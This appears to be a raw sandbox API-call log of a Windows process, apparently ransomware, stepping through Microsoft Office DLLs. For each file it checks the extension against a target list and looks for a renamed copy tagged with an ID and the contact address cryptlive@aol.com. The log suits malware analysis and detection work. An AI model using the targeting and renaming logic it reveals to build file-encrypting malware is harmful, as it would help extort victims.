1 [0149.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0149.818] lstrlenW (lpString=".zip") returned 4 [0149.818] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.818] lstrlenW (lpString=".rar") returned 4 [0149.818] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.818] lstrlenW (lpString=".bz2") returned 4 [0149.818] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.818] lstrlenW (lpString=".7z") returned 3 [0149.818] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0149.818] lstrlenW (lpString=".dbf") returned 4 [0149.818] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0149.818] lstrlenW (lpString=".1cd") returned 4 [0149.819] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0149.819] lstrlenW (lpString=".jpg") returned 4 [0149.819] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0149.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0149.819] lstrlenW (lpString=".doc") returned 4 [0149.819] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.819] lstrlenW (lpString=".docx") returned 5 [0149.819] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0149.819] lstrlenW (lpString=".pdf") returned 4 [0149.819] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.819] lstrlenW (lpString=".xls") returned 4 [0149.819] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.819] lstrlenW (lpString=".xlsx") returned 5 [0149.819] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0149.819] lstrlenW (lpString=".ppt") returned 4 [0149.819] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0149.819] lstrlenW (lpString=".zip") returned 4 [0149.819] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.819] lstrlenW (lpString=".rar") returned 4 [0149.819] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.819] lstrlenW (lpString=".bz2") returned 4 [0149.819] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.819] lstrlenW (lpString=".7z") returned 3 [0149.819] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0149.819] lstrlenW (lpString=".dbf") returned 4 [0149.819] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0149.819] lstrlenW (lpString=".1cd") returned 4 [0149.819] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0149.820] lstrlenW (lpString=".jpg") returned 4 [0149.820] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.820] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0149.820] lstrlenW (lpString="AEC.DLL") returned 7 [0149.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.821] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1571704) returned 1 [0149.821] CloseHandle (hObject=0x3b0) returned 1 [0149.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll")) returned 0x20 [0149.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0149.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0149.822] lstrlenW (lpString=".doc") returned 4 [0149.822] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.822] lstrlenW (lpString=".docx") returned 5 [0149.822] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0149.822] lstrlenW (lpString=".pdf") returned 4 [0149.822] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.822] lstrlenW (lpString=".xls") returned 4 [0149.822] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.822] lstrlenW (lpString=".xlsx") returned 5 [0149.822] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0149.822] lstrlenW (lpString=".ppt") returned 4 [0149.822] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0149.822] lstrlenW (lpString=".zip") returned 4 [0149.822] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.822] lstrlenW (lpString=".rar") returned 4 [0149.822] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.822] lstrlenW (lpString=".bz2") returned 4 [0149.822] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.822] lstrlenW (lpString=".7z") returned 3 [0149.822] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0149.822] lstrlenW (lpString=".dbf") returned 4 [0149.822] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0149.823] lstrlenW (lpString=".1cd") returned 4 [0149.823] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0149.823] lstrlenW (lpString=".jpg") returned 4 [0149.823] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0149.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0149.823] lstrlenW (lpString=".doc") returned 4 [0149.823] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.823] lstrlenW (lpString=".docx") returned 5 [0149.823] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0149.823] lstrlenW (lpString=".pdf") returned 4 [0149.823] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.823] lstrlenW (lpString=".xls") returned 4 [0149.823] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.823] lstrlenW (lpString=".xlsx") returned 5 [0149.823] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0149.823] lstrlenW (lpString=".ppt") returned 4 [0149.823] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0149.823] lstrlenW (lpString=".zip") returned 4 [0149.823] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.823] lstrlenW (lpString=".rar") returned 4 [0149.823] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.823] lstrlenW (lpString=".bz2") returned 4 [0149.823] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.823] lstrlenW (lpString=".7z") returned 3 [0149.823] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0149.823] lstrlenW (lpString=".dbf") returned 4 [0149.823] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0149.823] lstrlenW (lpString=".1cd") returned 4 [0149.823] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0149.824] lstrlenW (lpString=".jpg") returned 4 [0149.824] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.824] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0149.824] lstrlenW (lpString="AECUTILS.DLL") returned 12 [0149.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.974] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=796552) returned 1 [0149.974] CloseHandle (hObject=0x3a8) returned 1 [0149.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll")) returned 0x20 [0149.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0149.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0149.991] lstrlenW (lpString=".doc") returned 4 [0149.991] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.991] lstrlenW (lpString=".docx") returned 5 [0149.991] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0149.991] lstrlenW (lpString=".pdf") returned 4 [0149.991] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.991] lstrlenW (lpString=".xls") returned 4 [0149.991] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.991] lstrlenW (lpString=".xlsx") returned 5 [0149.991] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0149.991] lstrlenW (lpString=".ppt") returned 4 [0149.991] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0149.991] lstrlenW (lpString=".zip") returned 4 [0149.991] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.991] lstrlenW (lpString=".rar") returned 4 [0149.991] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.991] lstrlenW (lpString=".bz2") returned 4 [0149.991] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.991] lstrlenW (lpString=".7z") returned 3 [0149.991] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0149.991] lstrlenW (lpString=".dbf") returned 4 [0149.991] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0149.991] lstrlenW (lpString=".1cd") returned 4 [0149.991] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0149.991] lstrlenW (lpString=".jpg") returned 4 [0149.991] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0149.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0149.991] lstrlenW (lpString=".doc") returned 4 [0149.992] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.992] lstrlenW (lpString=".docx") returned 5 [0149.992] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0149.992] lstrlenW (lpString=".pdf") returned 4 [0149.992] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.992] lstrlenW (lpString=".xls") returned 4 [0149.992] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.992] lstrlenW (lpString=".xlsx") returned 5 [0149.992] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0149.992] lstrlenW (lpString=".ppt") returned 4 [0149.992] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0149.992] lstrlenW (lpString=".zip") returned 4 [0149.992] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.992] lstrlenW (lpString=".rar") returned 4 [0149.992] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.992] lstrlenW (lpString=".bz2") returned 4 [0149.992] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.992] lstrlenW (lpString=".7z") returned 3 [0149.992] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0149.992] lstrlenW (lpString=".dbf") returned 4 [0149.992] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0149.992] lstrlenW (lpString=".1cd") returned 4 [0149.992] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0149.992] lstrlenW (lpString=".jpg") returned 4 [0149.992] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.992] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0149.992] lstrlenW (lpString="BCSProxy.dll") returned 12 [0149.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0150.004] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=137600) returned 1 [0150.004] CloseHandle (hObject=0x3a8) returned 1 [0150.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll")) returned 0x20 [0150.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0150.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0150.005] lstrlenW (lpString=".doc") returned 4 [0150.005] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.005] lstrlenW (lpString=".docx") returned 5 [0150.005] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0150.005] lstrlenW (lpString=".pdf") returned 4 [0150.005] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.005] lstrlenW (lpString=".xls") returned 4 [0150.005] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.005] lstrlenW (lpString=".xlsx") returned 5 [0150.005] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0150.005] lstrlenW (lpString=".ppt") returned 4 [0150.005] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0150.005] lstrlenW (lpString=".zip") returned 4 [0150.005] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.005] lstrlenW (lpString=".rar") returned 4 [0150.005] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.005] lstrlenW (lpString=".bz2") returned 4 [0150.005] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.005] lstrlenW (lpString=".7z") returned 3 [0150.005] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0150.005] lstrlenW (lpString=".dbf") returned 4 [0150.005] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0150.005] lstrlenW (lpString=".1cd") returned 4 [0150.005] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0150.005] lstrlenW (lpString=".jpg") returned 4 [0150.005] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0150.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0150.006] lstrlenW (lpString=".doc") returned 4 [0150.006] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.006] lstrlenW (lpString=".docx") returned 5 [0150.006] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0150.006] lstrlenW (lpString=".pdf") returned 4 [0150.006] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.006] lstrlenW (lpString=".xls") returned 4 [0150.006] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.006] lstrlenW (lpString=".xlsx") returned 5 [0150.006] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0150.006] lstrlenW (lpString=".ppt") returned 4 [0150.006] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0150.006] lstrlenW (lpString=".zip") returned 4 [0150.006] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.006] lstrlenW (lpString=".rar") returned 4 [0150.006] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.006] lstrlenW (lpString=".bz2") returned 4 [0150.006] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.006] lstrlenW (lpString=".7z") returned 3 [0150.006] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0150.006] lstrlenW (lpString=".dbf") returned 4 [0150.006] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0150.006] lstrlenW (lpString=".1cd") returned 4 [0150.006] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0150.006] lstrlenW (lpString=".jpg") returned 4 [0150.006] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.006] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0150.007] lstrlenW (lpString="BCSRuntime.dll") returned 14 [0150.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0150.007] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=613760) returned 1 [0150.007] CloseHandle (hObject=0x3a8) returned 1 [0150.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll")) returned 0x20 [0150.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0150.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0150.008] lstrlenW (lpString=".doc") returned 4 [0150.008] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.008] lstrlenW (lpString=".docx") returned 5 [0150.008] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0150.008] lstrlenW (lpString=".pdf") returned 4 [0150.008] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.008] lstrlenW (lpString=".xls") returned 4 [0150.008] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.008] lstrlenW (lpString=".xlsx") returned 5 [0150.008] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0150.008] lstrlenW (lpString=".ppt") returned 4 [0150.008] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0150.008] lstrlenW (lpString=".zip") returned 4 [0150.008] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.008] lstrlenW (lpString=".rar") returned 4 [0150.008] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.008] lstrlenW (lpString=".bz2") returned 4 [0150.008] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.008] lstrlenW (lpString=".7z") returned 3 [0150.008] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0150.008] lstrlenW (lpString=".dbf") returned 4 [0150.008] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0150.009] lstrlenW (lpString=".1cd") returned 4 [0150.009] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0150.009] lstrlenW (lpString=".jpg") returned 4 [0150.009] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0150.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0150.009] lstrlenW (lpString=".doc") returned 4 [0150.009] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.009] lstrlenW (lpString=".docx") returned 5 [0150.009] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0150.009] lstrlenW (lpString=".pdf") returned 4 [0150.009] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.009] lstrlenW (lpString=".xls") returned 4 [0150.009] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.009] lstrlenW (lpString=".xlsx") returned 5 [0150.009] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0150.009] lstrlenW (lpString=".ppt") returned 4 [0150.009] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0150.009] lstrlenW (lpString=".zip") returned 4 [0150.009] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.009] lstrlenW (lpString=".rar") returned 4 [0150.009] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.009] lstrlenW (lpString=".bz2") returned 4 [0150.009] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.009] lstrlenW (lpString=".7z") returned 3 [0150.009] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0150.009] lstrlenW (lpString=".dbf") returned 4 [0150.009] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0150.009] lstrlenW (lpString=".1cd") returned 4 [0150.009] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0150.010] lstrlenW (lpString=".jpg") returned 4 [0150.010] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.010] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0150.010] lstrlenW (lpString="BCSRuntimeUI.dll") returned 16 [0150.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0150.012] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=14208) returned 1 [0150.012] CloseHandle (hObject=0x3a8) returned 1 [0150.012] 